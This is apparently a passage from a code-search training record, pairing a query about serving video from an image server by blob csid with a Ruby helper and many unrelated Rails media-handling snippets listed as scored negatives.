#{audio_filepath_fragmented}`\n FileUtils.rm audio_filepath\n end", "def set_audio_collection\n @audio_collection = AudioCollection.find(params[:id])\n end", "def set_audio_collection\n @audio_collection = AudioCollection.find(params[:id])\n end", "def start_music\n pid = fork { Play::Client.loop }\n Process.detach(pid)\nend", "def play_music\n pid = fork{ exec 'afplay', \"app/models/coffee_music.mp3\" }\nend", "def song_save_image\r\n\r\n\t\t@song = Song.find(params[:song_id])\r\n\t\t@artist = Artist.find_by_url_slug(params[:url_slug])\r\n\r\n\t\t@song.image = \"https://\"+IMAGE_BUCKET+\".s3.amazonaws.com/Three_Repeater-\"+@artist.url_slug+\"-\"+@song.id.to_s+\"-\"+params[:file_name]\r\n\r\n\t\t@song.update_column(:image,@song.image)\r\n\r\n\t\tlogger.info(\"song image= \"+@song.image.to_s)\r\n\r\n\t\trespond_to do |f|\r\n\r\n\t\t\tf.json {\r\n\t\t\t\trender :json => {\r\n\t\t\t\t\t\t:success => true}\r\n\t\t\t}\r\n\r\n\t\tend\r\n\r\n\tend", "def audio?\n codec_type == 'audio'\n end", "def audio?\n !!( content_type =~ Transit.config.audio_regexp )\n end", "def getAudioUri\n return @data.scan(/https:\\/\\/.*?\\.mp3/)[0]\nend", "def show\n image = Image.find_by_name(params[:id])\n send_data image.content, :filename=>image.name, :type => image.content_type, :disposition => 'inline'\n end", "def around_upload(io, context)\n @super_audio = super\n\n return unless context[:phase] == :cache\n\n path = io.respond_to?(:tempfile) ? io.tempfile.path : io.path\n audio = FFMPEG::Movie.new(path)\n wav = Tempfile.new(['forwaveform', '.wav'])\n\n return unless audio_valid?(audio)\n audio.transcode(wav.path)\n\n peaks = []\n length = 60\n info = WaveFile::Reader.info(wav.path)\n sample_size = info.sample_frame_count / length\n\n WaveFile::Reader.new(wav.path, WaveFile::Format.new(:mono, :float, 44_100)) do |reader|\n reader.each_buffer(sample_size) do |buffer|\n intermediary = []\n steps = buffer.samples.length / 10\n (0..9).each do |step|\n intermediary.push(buffer.samples[step * steps].round(2))\n end\n peaks.push(intermediary.max)\n peaks.push(intermediary.min)\n end\n\n @super_audio.metadata.update('peaks' => peaks)\n end\n end", "def scribe\n raise 'bork' unless ARGV.any?\n\n name, type = ARGV.first.split('.')\n name_bits = name.to_s.ljust(64, ' ').to_bits\n type_bits = type.to_s.ljust(5, ' ').to_bits\n data_bits = File.open(ARGV.first) { |file| file.read }.to_bits\n size = data_bits.count / 8\n size_bits = (\"%032b\" % size).split('').map(&:to_i)\n prelude_bits = SYNC.map { |byte| \"%08b\" % byte }.join.split('').map(&:to_i)\n\n sample \"#{ name }.wav\", prelude_bits + name_bits + type_bits + size_bits + data_bits\nend", "def create\n @backend = Backend.new(backend_params)\n\n uploaded_io = params[:backend][:mp3file]\n\n @backend[:mp3file] = uploaded_io.original_filename\n\n respond_to do |format|\n if @backend.save\n\n File.open(Rails.root.join('app/assets', 'music', uploaded_io.original_filename), 'wb') do \n |file| file.write(uploaded_io.read)\n end\n\n format.html { redirect_to @backend, notice: 'Backend was successfully created.' }\n format.json { render action: 'show', status: :created, location: @backend }\n else\n format.html { render action: 'new' }\n format.json { render json: @backend.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # params[:audio][:sound] = params[:sound_file_name]\n # first_line = params[:upload].tempfile.readline\n # puts \"params = \" + params.inspect\n # puts \"request = #{request.inspect}\"\n # binding.pry\n buffer = request.body.instance_variable_get('@input').instance_variable_get('@rbuf')\n Rails.logger.debug(\"buffer.size = #{buffer.size}\")\n File.open(\"/tmp/wtfyo.wav\", \"w\") { |f| f.write buffer }\n `open -a \"quicktime player\" /tmp/wtfyo.wav`\n# sound_filename = params[:sound_file_name]\n # sound_file = open(params[:sound_file_name])\n # file = File.open(sound_filename)\n # file.write(file)\n \n # uploaded_io = params[:sound_file_name]\n # File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|\n # file.write(uploaded_io.read)\n # end\n \n # @audio = Audio.create!(:sound => (params[:sound_file_name].readline))\n # @audio = Audio.new(params[:audio])\n respond_to do |format|\n if @audio.save\n format.html { redirect_to @audio, :notice => 'Audio was successfully created.' }\n format.json { render :json => @audio, :status => :created, :location => @audio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @audio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_audio_clip\n @audio_clip = AudioClip.find(params[:id])\n end", "def img\n source = Tinify.from_file(params[:file].tempfile.path)\n if source.store(\n service: 's3',\n aws_access_key_id: ENV['AWS_Access_Key_ID'],\n aws_secret_access_key: ENV['AWS_Secret_Access_Key'],\n region: 'us-west-1',\n path: 'gkbimages//client/'+params[:file].original_filename\n )\n render :json => {status: 0, data: 'https://s3-us-west-1.amazonaws.com/gkbimages//client/'+params[:file].original_filename}\n else \n render :json => {status: 404, data: \"Something went wrong with image upload\"}\n end\n end", "def supports_streaming?; end", "def figure_1 \n #file_path = File.join(Rails.root, \"public/images\", \"\")\n send_file(File.join(FILE_PATH, \"LgrNucDist.jpg\"), :type => 'image/png', :disposition => 'inline')\n end", "def do_process(audio)\n SPF::Gateway::Audio.identify(audio)\n end", "def public_file_server=(_arg0); end", "def public_file_server=(_arg0); end", "def before_save \n \n #\n # upload bundle image\n #\n if( @uploadfile )\n \n # clean up first all existing image files\n [\"jpeg\", \"gif\", \"png\"].each do |ext| \n f = fq_bundle_image_filename( ext )\n if File.exists?(f) \n File.delete(f)\n end\n end\n \n # write the upload file\n extention = @uploadfile.content_type.gsub(/^image\\//, '').downcase.chomp\n out = File.open( fq_bundle_image_filename( extention ), \"w\" )\n out.write( @uploadfile.read )\n out.close\n \n # integrate link in description\n desc = self.description \n # filter operations can be inserted later on\n updated_img_lnk = \"[[File:#{bundle_resouce_file_name}.#{extention}]]\"\n desc = desc.gsub( /\\[\\[file:.*?\\.((jpeg)|(jpg)|(png)|(gif))\\]\\]/i, updated_img_lnk )\n if( ! $~ )\n # if not already matched add link tag to the end of the description field\n desc << \"\\n\" + updated_img_lnk\n end\n self.description = desc\n end\n\n\n #\n # copy prompt sample for bundle description (/upload/audio)\n #\n if( @sample_file_id )\n audio_source = AudioSource.find_by_file_id( @sample_file_id, :conditions => { :bundle_source_id=>self.id } )\n logger.info( @sample_file_id )\n if( audio_source )\n # copy file\n audio_source = audio_source.fq_mp3_filename\n audio_target = \"public/upload/audio/\" + bundle_resouce_file_name + \".mp3\"\n \n %x[cp #{audio_source} #{audio_target}]\n sample_prompt_file_tag = \"[[File:#{bundle_resouce_file_name}.mp3]]\"\n \n # integrate prompt sample in description\n desc = self.description\n desc = desc.gsub( /\\[\\[file:.*?\\.((mp3))\\]\\]/i, sample_prompt_file_tag )\n\n if( ! $~ )\n # if not already matched add link tag to the end of the description field\n desc << \"\\n\" +sample_prompt_file_tag\n end\n \n self.description = desc \n end\n end\n\n end", "def audio?\n !!audio_stream\n end", "def audio?\n has_stream_of :audio\n end", "def fq_bundle_sample_prompt\n \"public/upload/audio/\" + bundle_resouce_file_name + \".mp3\"\n end", "def is_audio?\n result = false\n if !mime_type.blank?\n splits = mime_type.split('/')\n if splits[0] == AUDIO\n result = true\n end\n end\n \n result\nend", "def playaudio\n respond_to do |format|\n format.js { render partial: 'podcastapp/audioplayer/audioplayer' }\n end\n\n end", "def meta\n blob = ActiveStorage::Blob.find_signed(params[:id])\n\n render json: { blob: blob, url: rails_blob_url(blob) }\n end", "def configureImages()\n #Fetch the server configuration\n config = fetchServerConfig()\n #Used the gathered configuration information to build a URL for accessing images\n $imageBase = config['images']['base_url']+config['images']['poster_sizes'][5]\nend" ]
[ "0.6188182", "0.6148834", "0.6059774", "0.58894014", "0.58392197", "0.58172303", "0.5796662", "0.5743499", "0.5692511", "0.565943", "0.56481653", "0.56124437", "0.5525445", "0.5520838", "0.55117834", "0.5502439", "0.5419982", "0.54087967", "0.539042", "0.5387752", "0.53563017", "0.53519636", "0.5350678", "0.5334377", "0.5333653", "0.5332529", "0.53314435", "0.53188807", "0.530369", "0.52955467", "0.52908397", "0.5284837", "0.528407", "0.5278638", "0.52760714", "0.5262102", "0.52594733", "0.524746", "0.52222675", "0.5217787", "0.52176684", "0.52173054", "0.5199105", "0.5191253", "0.51902807", "0.51881653", "0.51881653", "0.51680213", "0.5158603", "0.51357263", "0.51354367", "0.5119624", "0.5113431", "0.51129013", "0.51060474", "0.508981", "0.50897557", "0.5088677", "0.50790507", "0.5057815", "0.5036399", "0.5013873", "0.50133336", "0.49983445", "0.4997488", "0.4983349", "0.49763888", "0.49709284", "0.49702957", "0.49616933", "0.4961029", "0.49575382", "0.49516702", "0.49516702", "0.49515602", "0.49396175", "0.49385357", "0.49373776", "0.49306065", "0.49229932", "0.49188632", "0.49173045", "0.4916157", "0.49129778", "0.49078476", "0.49070582", "0.49054518", "0.4904121", "0.48917645", "0.48899186", "0.48842642", "0.48842642", "0.48838034", "0.4882686", "0.4879976", "0.48784956", "0.48736534", "0.48688743", "0.48598713", "0.48596266" ]
0.6326567
0
use imageserver and blob csid to serve video
def render_video_csid options={} # render video player content_tag(:div) do options[:value].collect do |video_csid| content_tag(:video, content_tag(:source, "I'm sorry; your browser doesn't support HTML5 video in MP4 with H.264.", src: "https://webapps.cspace.berkeley.edu/#TENANT#/imageserver/blobs/#{video_csid}/content", id: 'video_csid', type: 'video/mp4'), controls: 'controls', style: 'width: 640px;') end.join.html_safe end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n # This comment part specifies how to perform server side uploading\n # http://cloudinary.com/documentation/rails_video_upload#rails_video_upload_examples\n # http://cloudinary.com/documentation/upload_videos\n # http://cloudinary.com/documentation/video_management\n # http://cloudinary.com/documentation/rails_video_manipulation\n \n # video_public_id = \"video_#{SecureRandom.urlsafe_base64}\"\n # response = Cloudinary::Uploader.upload(params[:video][:target_file], :resource_type => :video, :public_id => video_public_id)\n # Cloudinary::Uploader.upload_large(params[:video][:target_file], :resource_type => :video, :public_id => \"my_folder/my_sub_folder/myvideo1\", :eager => [{:width => 300, :height => 300, :crop => :pad}], :eager_async => true, :eager_notification_url => \"http://c45a1454.ngrok.io/videos/transform_notification\")\n begin\n @active_page = \"videos\"\n if params[:id].blank?\n @video = Video.new(video_params)\n else\n @video = Video.find(params[:id])\n @video.update_attributes(video_params)\n end\n @video.save\n rescue Exception => e\n log_error(e, \"Error occured in Create action of VideosController\")\n flash_error(t('videos.create_page_error'))\n ensure\n redirect_to \"/videos\"\n end\n end", "def stream\n\t\tvideo = Video.find(params[:id])\n\n\t\tif video.file.attached?\n\t\t\tfile_path = ActiveStorage::Blob.service.send(:path_for, video.file.blob.key)\n\t\t\tfile_type = video.file.content_type\n\t\telse\n\t\t\tfile_path = Rails.root.to_s + \"/public/defaultVideo.mp4\"\n\t\t\tfile_type = \"video/mp4\"\n\t\tend\n\n\t\t# rails doesnt support file partial requests by default\n\t\t# gem: send_file_with_range\n\t\tsend_file(\n\t\t\tfile_path,\n\t\t\trange: true,\n\t\t\tbuffer_size: 500_000,\n\t\t\tdisposition: \"inline\",\n\t\t\ttype: file_type)\n\tend", "def create\n @video = Video.new(params[:video])\n video_file = params[:video_file]\n img_file = params[:img_file]\n\n if video_file != nil\n videoid = Utils.videoid\n @video.video_url = \"http://10.10.140.70:5000/files/\"+Utils.upload(video_file, videoid)\n @video.video_id = videoid\n end\n if img_file != nil\n @video.video_img =\"http://10.10.140.70:5000/files/\"+Utils.upload(img_file, nil)\n end\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to today_videos_path }\n else\n format.html { render action: \"new\" }\n end\n end\n end", "def download_video\n\t\t# preview_video_url = \"https://video.tvspielfilm.de/ivideo/video/10/9700610_1.mp4\"\n\n\t\tif preview_video_url.present?\t\n\t\t\tfilename = Pathname.new(preview_video_url).basename\n\t\t\tfilename = filename.to_s rescue \"#{Time.now.to_i}.mp4\"\n\t\t\t\n\t\t\tfilename = \"#{id}_#{filename}\"\n\n\t\t\tnew_file_path = \"#{Rails.root.to_s}/public/videos/#{filename}\"\n\t\t\topen(new_file_path, \"wb\") do |file| \n\t\t\t file.print open(preview_video_url).read\n\t\t\tend\n\t\t\tupload_video_at_s3(filename, new_file_path) \n\t\tend\n\tend", "def image_server\r\n server = config[:image_server]\r\n if server.is_a? String\r\n server = { server: server }\r\n server[:protocol] = \"simplestreams\" if server[:server].split(\":\", 3)[2].nil?\r\n end\r\n server\r\n end", "def serve(thumb_asset_id, version=KalturaNotImplemented, thumb_params=KalturaNotImplemented, options=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'thumbAssetId', thumb_asset_id);\n\t\t\tclient.add_param(kparams, 'version', version);\n\t\t\tclient.add_param(kparams, 'thumbParams', thumb_params);\n\t\t\tclient.add_param(kparams, 'options', options);\n\t\t\tclient.queue_service_action_call('thumbasset', 'serve', kparams);\n\t\t\treturn client.get_serve_url();\n\t\tend", "def path_to_video(source, options = T.unsafe(nil)); end", "def create\n @channel = params[:forminfo]\n @video = Video.new(params[:video])\n video_file = params[:video_file]\n img_file = params[:img_file]\n @video.video_type = params[:video_type]\n @video.video_id = Utils.videoid\n\n if video_file != nil\n @video.video_url = \"http://#{Constants::UPLOAD_IP}/files/videos/\"+Utils.upload(video_file, videoid)\n end\n\n if img_file != nil\n @video.video_img =\"http://#{Constants::UPLOAD_IP}/files/images/\"+Utils.upload(img_file, nil)\n end\n @video.cid = @channel\n respond_to do |format|\n if @video.save\n format.html { redirect_to channel_videos_path }\n else\n format.html { render action: \"new\" }\n end\n end\n end", "def send_thumbnail\n response.set_header('Access-Control-Allow-Origin', '*')\n response.headers[\"Last-Modified\"] = Time.now.httpdate.to_s\n response.headers[\"Content-Type\"] = 'image/jpeg'\n response.headers[\"Content-Disposition\"] = 'inline'\n path = Hyrax::DerivativePath.derivative_path_for_reference(identifier, 'thumbnail')\n begin\n IO.foreach(path).each do |buffer|\n response.stream.write(buffer)\n end\n ensure\n response.stream.close\n end\n end", "def video_url(source, options = T.unsafe(nil)); end", "def fetch_video\n \t @video=UnvlogIt.new(url)\n \t self.embed_url=@video.embed_html(300, 169)\n \t self.thumb_url=@video.thumbnail\n end", "def update\n @video = Video.find(params[:id])\n video_file = params[:video_file]\n img_file = params[:img_file]\n\n if video_file != nil\n videoid = Utils.videoid\n @video.video_url = \"http://10.10.140.70:5000/files/\"+Utils.upload(video_file, videoid)\n end\n\n if img_file != nil\n @video.video_img =\"http://10.10.140.70:5000/files/\"+Utils.upload(img_file, nil)\n end\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to today_videos_path }\n else\n format.html { render action: \"new\" }\n end\n end\n end", "def smart_video_preview\n vp = Tempfile.new([\"video-preview\", \".png\"], binmode: true)\n\n # https://ffmpeg.org/ffmpeg.html#Main-options\n # https://ffmpeg.org/ffmpeg-filters.html#thumbnail\n output = shell!(\"ffmpeg -i #{file.path.shellescape} -vf thumbnail=300 -frames:v 1 -y #{vp.path.shellescape}\")\n Rails.logger.debug(output)\n\n MediaFile.open(vp)\n end", "def smart_video_preview\n vp = Tempfile.new([\"video-preview\", \".png\"], binmode: true)\n\n # https://ffmpeg.org/ffmpeg.html#Main-options\n # https://ffmpeg.org/ffmpeg-filters.html#thumbnail\n output = shell!(\"ffmpeg -i #{file.path.shellescape} -vf thumbnail=300 -frames:v 1 -y #{vp.path.shellescape}\")\n Rails.logger.debug(output)\n\n MediaFile.open(vp)\n end", "def render_video_directly options={}\n # render video player\n content_tag(:div) do\n options[:value].collect do |video_md5|\n l1 = video_md5[0..1]\n l2 = video_md5[2..3]\n content_tag(:video,\n content_tag(:source, \"I'm sorry; your browser doesn't support HTML5 video in MP4 with H.264.\",\n src: \"https://cspace-prod-02.ist.berkeley.edu/#TENANT#_nuxeo/data/#{l1}/#{l2}/#{video_md5}\",\n id: 'video_md5',\n type: 'video/mp4'),\n controls: 'controls',\n style: 'width: 640px;')\n end.join.html_safe\n end\n end", "def update\n @video = Video.find(params[:id])\n video_file = params[:video_file]\n img_file = params[:img_file]\n\n if video_file != nil\n videoid = Utils.videoid\n @video.video_url = \"http://#{Constants::UPLOAD_IP}/files/videos/\"+Utils.upload(video_file, videoid)\n end\n\n if img_file != nil\n @video.video_img =\"http://#{Constants::UPLOAD_IP}/files/images/\"+Utils.upload(img_file, nil)\n end\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to channel_videos_path }\n else\n format.html { render action: \"new\" }\n end\n end\n end", "def url_to_video(source, options = T.unsafe(nil)); end", "def save_external_video_locally\n #self.save_file_locally\n end", "def cdn_video_tag(url, opts = {})\n if opts[:size]\n width, height = opts[:size].split('x')\n else\n width, height = opts[:width], opts[:height]\n end\n\n return video_tag(url, opts) # if Rails.env.development?\n\n # url = \"http:#{url}\" if url.present? && url[0..1] == \"//\"\n # cloudfront backed vide\n # video_tag(\"http://d2xfsikitl0nz3.cloudfront.net/#{CGI.escape(url)}\", opts)\n end", "def video_url\n \"http://video.ted.com/#{videoID}\"\n end", "def download\n @video = Video.find(params[:id])\n send_file(RAILS_ROOT+\"/public\"+@video.video.url.split(\"?\")[0], :disposition => 'inline', :stream => false)\n end", "def video_path(source, options = T.unsafe(nil)); end", "def getVideoURL\n if (request.post?)\n cVideoID = self.findKeyInJSON(params[:params], \"VideoID\", 2)\n cOS = self.findKeyInJSON(params[:params], \"OS\", 2)\n \n case cOS.to_s\n when \"100\"\n # We have that file stored in S3 yet?\n # Check it later!\n # Just hard-code it\n returnFileName = \"http://ec2-50-112-145-58.us-west-2.compute.amazonaws.com:1935/vods3/_definst_/mp4:s3/\"\n returnFileName += cVideoID + \".mov\"\n returnFileName += \"/playlist.m3u8\"\n when \"101\"\n # android\n returnFileName = \"rtsp://ec2-50-112-145-58.us-west-2.compute.amazonaws.com:1935/vod/_definst_/mp4:s3/\"\n returnFileName += cVideoID + \".mov\"\n else\n # ignore\n end\n \n # Update Video Played Count\n begin\n b = Videotemp.find(cVideoID)\n if(b.playedCount == nil || b.playedCount == '')\n playedCount = 1\n else\n playedCount = b.playedCount\n playedCount = playedCount.to_i + 1\n end\n b.playedCount = playedCount.to_i\n b.save\n rescue Exception => e\n # ignore\n end\n \n # Return JSON response\n cRequestID = self.findKeyInJSON(params[:params], \"RequestID\", 1)\n rData = {\"VideoStreamUrl\" => returnFileName}\n self.jsonRender(rData, 'WOWZA URL', cRequestID, '100')\n end\n end", "def serve_image\n\n # http://stackoverflow.com/questions/9462785/referencing-model-with-string-input\n # https://github.com/carrierwaveuploader/carrierwave/issues/614\n # model.avatar.file.filename\n # model[:avatar]\n # model.avatar_identifier\n # File.basename(model.file.path)\n\n\n if params[:id] && params[:model] && params[:type] && params[:id_image] && params[:uploader]\n\n model = params[:model].singularize.classify.constantize.find(params[:id_image])\n name = model.read_attribute(params[:uploader].to_s)\n image_name = \"#{params[:type]}_#{name}\"\n\n image_path = File.join(Rails.root,\"images\",Rails.env, params[:model], params[:uploader], params[:id_image],image_name)\n\n unless send_file( image_path,disposition: 'inline', type: 'image/jpeg', x_sendfile: true )\n return \"some default image\" # ensure views have css defining the size of thumbnail, that way default image is the proper size\n end\n end\n\n end", "def serve(id)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.queue_service_action_call('fileasset', 'serve', kparams);\n\t\t\treturn client.get_serve_url();\n\t\tend", "def streaming_video_url\n # TODO figure out how to remove the need for this stupid hack\n # paperclip adds the cache buster to the URL automatically, I need\n # it to go away, probably a really easy paperclip option, but not\n # finding it at the moment.\n unless streaming_video.nil?\n streaming_video.data.url.split(\"?\")[0]\n else\n nil\n end\n end", "def create\n if !params[:video][:video].nil?\n videoName = params[:video][:video].original_filename.gsub(/\\s/,'_') \n @video = Video.new({:title => params[:video][:title], :video => \"/worshipvideos/#{videoName}\"})\n else\n @video = Video.new({:title => params[:video][:title]})\n end\n\n if !params[:video][:video].nil?\n tmp = params[:video][:video].tempfile\n file = File.join(\"public/worshipvideos\", videoName)\n FileUtils.cp tmp.path, file\n FileUtils.rm tmp\n end\n\n respond_to do |format|\n if @video.save\n if !params[:video][:video].nil?\n #logger.debug \"./createVideoPics.sh '#{videoName}'\"\n #fork do\n #system(\"./createVideoPics.sh '#{videoName}'\")\n #exec(\"ffmpeg -i 'public/worshipvideos/#{videoName}' -an -ss 00:00:20 -r 1 -vframes 1 -f mjpeg -y 'app/assets/images/worship_pics/#{videoName}_1.jpg'\")\n #logger.debug \"ffmpeg -i 'public/worshipvideos/#{videoName}' -an -ss 00:00:20 -r 1 -vframes 1 -f mjpeg -y 'app/assets/images/worship_pics/#{videoName}_1.jpg'\"\n #exec(\"ffmpeg -i 'public/worshipvideos/#{videoName}' -an -ss 00:00:40 -r 1 -vframes 1 -f mjpeg -y 'app/assets/images/worship_pics/#{videoName}_2.jpg'\")\n #logger.debug \"ffmpeg -i 'public/worshipvideos/#{videoName}' -an -ss 00:00:40 -r 1 -vframes 1 -f mjpeg -y 'app/assets/images/worship_pics/#{videoName}_2.jpg'\"\n #exec(\"ffmpeg -i 'public/worshipvideos/#{videoName}' -an -ss 00:01:00 -r 1 -vframes 1 -f mjpeg -y 'app/assets/images/worship_pics/#{videoName}_3.jpg'\")\n #logger.debug \"ffmpeg -i 'public/worshipvideos/#{videoName}' -an -ss 00:01:00 -r 1 -vframes 1 -f mjpeg -y 'app/assets/images/worship_pics/#{videoName}_3.jpg'\"\n #end\n\n @video.update_attribute(\"pic1\", \"worship_pics/#{videoName}_1.jpg\")\n @video.update_attribute(\"pic2\", \"worship_pics/#{videoName}_2.jpg\")\n @video.update_attribute(\"pic3\", \"worship_pics/#{videoName}_3.jpg\")\n end\n\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def harvest_video_data(image)\n response = Typhoeus.get(image.video_url, followlocation: true)\n\n if response.success?\n raise \"Invalid content type: \" + response.headers['Content-Type'] unless (response.headers['Content-Type'] == 'video/mp4')\n elsif response.timed_out?\n raise \"Request timed out\"\n elsif response.code == 0\n raise \"Could not get an HTTP response\"\n else\n raise \"HTTP request failed: \" + response.code.to_s\n end\n\n response.body\n end", "def upload(file)\n logger.info 'Downloading video...'\n path = file.download.path\n movie = FFMPEG::Movie.new(path)\n @mp4_path = encode('mp4', movie, '-vcodec libx264 -strict -2')\n @webm_path = encode('webm', movie, '-vcodec libvpx -acodec libvorbis -f webm -deadline realtime -s 640x480')\n end", "def addWebCam()\n pathToWebcam = \"#{$PATHTOPUBLISHED}/#{@meetingData.meetingId}/video/webcams.webm\"\n pathToIntermediates= \"#{$PATHTOGENERATEINTERMEDIATES}/#{@meetingData.meetingId}\"\n\n # resize the webcam video\n puts \" Resizing webcam recording \"\n system \"ffmpeg -i #{pathToWebcam} -vcodec libx264 -vf scale=200:-1 #{pathToIntermediates}/webcamResized.mp4 -loglevel quiet\"\n \n # create a directory to store the final video(inside the published)\n pathToCompleteRecording=\"#{$PATHTOPUBLISHED}/#{@meetingData.meetingId}/completeVideo\"\n createDirectoryIfNotExists(pathToCompleteRecording)\n\n puts \"Adding webcam into final video\"\n #merge it with the presentation+deskshare video\n system \"ffmpeg -i #{pathToIntermediates}/output.mp4 -i #{pathToIntermediates}/webcamResized.mp4 -filter_complex \\' overlay=x=main_w-overlay_w-10:y=main_h-overlay_h-10 \\' #{pathToCompleteRecording}/finalcut.mp4 -loglevel quiet\"\n end", "def convert_video_to_AVI(filename, path, content, url)\n logger.debug \"Convert the video ( #{filename} ) path ( #{path}) from content type of #{content} to H264\"\n File.new(File.join(Rails.root, 'public' , 'system', File.dirname(path), \"#{filename}.avi\"), File::CREAT | File::TRUNC| File::RDWR, 0644)\n videoavi = File.join(Rails.root, 'public' , 'system', File.dirname(path), \"#{filename}.avi\")\n system(\"ffmpeg -i #{url} -acodec copy -vcodec copy #{videoavi} -y\")\n return videoavi\n end", "def set_image\n if self.video.content_type && self.video.content_type.split('/')[0] == 'image'\n self.image = self.video\n self.remove_video!\n self.save\n end\n end", "def convert_video_to_H264(filename, path, content, url)\n logger.debug \"Convert the video ( #{filename} ) path ( #{path}) from content type of #{content} to H264\"\n File.new(File.join(Rails.root, 'public' , 'system', File.dirname(path), \"#{filename}.h264\"), File::CREAT | File::TRUNC| File::RDWR, 0644)\n videoh264 = File.join(Rails.root, 'public' , 'system', File.dirname(path), \"#{filename}.h264\")\n system(\"ffmpeg -i #{url} -an -vcodec libx264 -crf 23 #{videoh264} -y\")\n return videoh264\n end", "def embed_video\r\n\tvid_host = self.video_url.sub(/^https?\\:\\/\\//, '').sub(/^www./,'').split('/')[0]\r\n\tif vid_host == 'youtube.com' or vid_host == 'youtu.be'\r\n\t\tyoutube_embed(self.video_url)\r\n\telsif vid_host == 'player.vimeo.com' or vid_host == 'vimeo.com'\r\n\t\tvimeo_embed(self.video_url)\r\n\tend\r\n end", "def public_file_server; end", "def public_file_server; end", "def video\n \"#{self.video_file_name}\"\n end", "def send_image\n @iiif_url ||= iiif_url\n Rails.logger.info(\"Trying to proxy image from #{@iiif_url}\")\n response.set_header('Access-Control-Allow-Origin', '*')\n stream_response(response)\n end", "def upload_file (filename, video_filename)\n\t# new filename is the md5 of the old filename, plus \"jpg\"\n\tnew_filename = Digest::MD5.hexdigest video_filename\n\tnew_filename += '.jpg'\n\n\tFileUtils.mv(filename, [Config['WebServer']['webroot'], Config['WebServer']['preview_dir'], new_filename].join('/'))\n\n\treturn [Config['WebServer']['url'], Config['WebServer']['preview_dir'], new_filename].join('/')\nend", "def perform(video_id)\n video = Video.get(video_id)\n flv_video = FFMPEG::Movie.new(video.flv)\n options = {\n resolution: flv_video.resolution,\n video_bitrate: flv_video.video_bitrate,\n audio_bitrate: flv_video.audio_bitrate\n }\n mp4_video = flv_video.transcode('uploads/' + video.id.to_s + '.mp4', options)\n video.update(mp4: mp4_video.path)\n end", "def serve_asset(asset_name)\n asset_path = local_asset_path(asset_name)\n\n # Rudimentary mime type detection\n mime = 'application/octet-stream'\n map = {\n 'ico' => 'image/vnd.microsoft.icon',\n 'png' => 'image/png',\n 'css' => 'text/css'\n }\n\n ext = ::File.extname(asset_name)[1..-1]\n mime = map[ext] if map.key?(ext)\n\n @server.http_response.update_header('Content-Type', mime)\n @server.http_response.update_header('Content-Length', ::File.size(asset_path))\n @server.http_response.update_header('Cache-Control', 'public, max-age=1209600')\n @server.http_response.status = 200\n @server.http_response.body = ::File.open(asset_path, 'r')\n end", "def asset(asset_id)\n get \"/video/v1/assets/##{asset_id}\"\n end", "def media_video_processed_url\n if self.asset_type == TYPE[:media_video] && read_attribute(:processed).present? && self.processed == true\n self.file.url(:processed,false).gsub(/\\.[0-9a-zA-Z]+$/,\".mp4\")\n end\n end", "def viddler_files(viddler_id, episode_id)\n # @viddler ||= Viddler::Client.new(viddler_id)\n @viddler = Viddler::Client.new(viddler_id)\n # traceout(\"instantiate viddler wtih #{viddler_id}\")\n # puts @viddler.inspect\n @viddler.authenticate! ENV['VIDDLER_USER'], ENV['VIDDLER_PASSWORD']\n videoData = @viddler.get 'viddler.videos.getDetails', :video_id => \"#{episode_id}\"\n # traceout(videoData)\n return videoData\n end", "def perform(url = nil)\n # 以此影片為範例,出處: Videvo\n url = 'https://cdn.videvo.net/videvo_files/video/free/2013-05/originalContent/DigitalCountdownTimerVidevo.mov'\n video_name = parse_video_name(url)\n video_file_path(video_name)\n download_video(url)\n converter\n rescue StandardError => e\n logger.error \"[Video::HandleVideoWorker] ERROR:\\n #{e.inspect}\\n #{e.backtrace}\"\n end", "def show_video\n\t\t@video = OldFlashFile.find(params[:id]) \n\t\tif @video\n\t\t@status=request.protocol+request.host_with_port+@video.video.url\n\t\telse\n\t\t@status = {\"status-msg\"=>\"Video not exist\"}\n\t\tend\n\n render :json =>@status.to_json\n\t\tend", "def fetch_video_o_url(id:)\n require 'typhoeus'\n auth_url = 'https://www.flickr.com/video_download.gne?id=' + id\n dl_url = nil\n request = Typhoeus::Request.new(auth_url, headers: {Cookie: @config['cookie']})\n request.on_complete do |response|\n dl_url = response.headers['location']\n end\n request.run\n return dl_url\n end", "def thumbnail_url\n if video_processing\n \"\"\n else\n video.thumb.url\n end\n end", "def video_resize_video_simple_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VideoApi.video_resize_video_simple ...'\n end\n # resource path\n local_var_path = '/video/resize/target'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/octet-stream'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n header_params[:'fileUrl'] = opts[:'file_url'] if !opts[:'file_url'].nil?\n header_params[:'maxWidth'] = opts[:'max_width'] if !opts[:'max_width'].nil?\n header_params[:'maxHeight'] = opts[:'max_height'] if !opts[:'max_height'].nil?\n header_params[:'frameRate'] = opts[:'frame_rate'] if !opts[:'frame_rate'].nil?\n header_params[:'quality'] = opts[:'quality'] if !opts[:'quality'].nil?\n header_params[:'extension'] = opts[:'extension'] if !opts[:'extension'].nil?\n\n # form parameters\n form_params = {}\n form_params['inputFile'] = opts[:'input_file'] if !opts[:'input_file'].nil?\n\n # http body (model)\n post_body = nil\n auth_names = ['Apikey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: 